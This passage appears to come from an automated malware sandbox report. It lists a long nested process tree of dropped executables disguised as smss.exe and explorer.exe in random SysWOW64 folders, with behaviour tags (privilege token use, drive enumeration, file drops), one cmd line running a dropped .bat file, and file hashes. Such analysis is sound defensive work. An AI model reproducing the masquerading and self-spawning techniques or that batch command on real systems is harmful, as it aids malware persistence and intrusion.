C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8812
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9440
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10404
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11516
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12800
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13960
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16168
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe6⤵
- Drops file in System32 directory
PID:6416 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵PID:7564
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵PID:3420
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8692
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9344
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10396
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11440
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12772
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14320
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16252
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe5⤵PID:7020
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe6⤵PID:6852
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵
- Enumerates connected drives
PID:7632 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵PID:8012
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8868
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9524
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10384
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11476
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12780
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13400
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:16072
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17944
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:20268
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4364 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3640 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4296 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2280 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:3584 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4648 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:3572 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5044 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4964 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:3784
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:4820 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5400
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5736
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:6052
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:5804
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Drops file in System32 directory
PID:5428 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6548
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:7088
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:3160
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7704
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8100
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:8892
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9544
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10464
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11600
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12876
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:13480
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16004
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18204
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:20380
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16436
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:15104
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16652
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18504
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13524
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:14968
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16484
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18800
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:548
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13564
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15048
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16744
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18668
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:11248
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12104
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13536
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15024
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16544
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18464
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵PID:5060
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12008
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13556
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15060
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16660
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18496
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe10⤵PID:9156
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:9748
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:10316
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12140
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13580
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15016
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16528
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18472
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe9⤵PID:8580
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:740
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:9896
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:10888
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:5140
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13648
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15120
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16876
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19072
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe8⤵
- Enumerates connected drives
PID:7324 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8572
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:8680
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:9808
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:10536
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12172
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13592
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15076
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16928
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18916
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe7⤵PID:7476
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵PID:7308
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8548
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9096
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:9320
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11212
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:11684
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13512
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:14928
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16500
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:5592
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:20564
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe6⤵PID:7124
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵PID:7508
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵PID:7424
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8604
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9124
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10072
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11064
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12432
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:14088
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15612
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe5⤵
- Enumerates connected drives
PID:6972 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe6⤵PID:7076
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵
- Enumerates connected drives
PID:7516 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵PID:4032
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8648
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:9252
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:10148
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:4568
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12328
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13944
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15372
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe4⤵PID:6480
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe5⤵PID:6964
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe6⤵PID:7084
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵PID:7500
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Enumerates connected drives
PID:3924 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵PID:8624
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵PID:1220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵PID:3692
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:11024
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:5172
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13920
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15380
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\dkhdtqjuoecb.bat2⤵PID:4224
-
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19032
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:18492
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19632
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19624
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19616
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19600
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19572
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19504
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19480
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19416
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19408
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19400
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19356
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19348
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19228
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19144
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:18712
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:18572
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19760
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19888
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19872
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19860
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19852
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19844
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19832
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20060
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20192
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:6268
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20492
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20484
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:6428
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20024
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:6404
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:6400
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:19652
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:6220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:6176
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20424
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20368
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20356
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20244
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20236
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20180
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20172
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20084
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20052
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20044
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20036
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe1⤵PID:20028
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize471B
MD552bfc02b370f1b48b834ce1c58ad6560
SHA1d3dbca3ed04caabf69ec8d525a83cde0919809cf
SHA256fce02a7cb2ed194e21949d8a394e69f1dd30c4c517addc831018b8a0b7235a97
SHA5125fb4c1b2d4173f5de1237e2fd55b9081b99756217d5d639da3e0e1bbe339d87be2e9b732ef783446bdedee2af8730e4bedb3184d58ba0bce0881ddc199495289
-
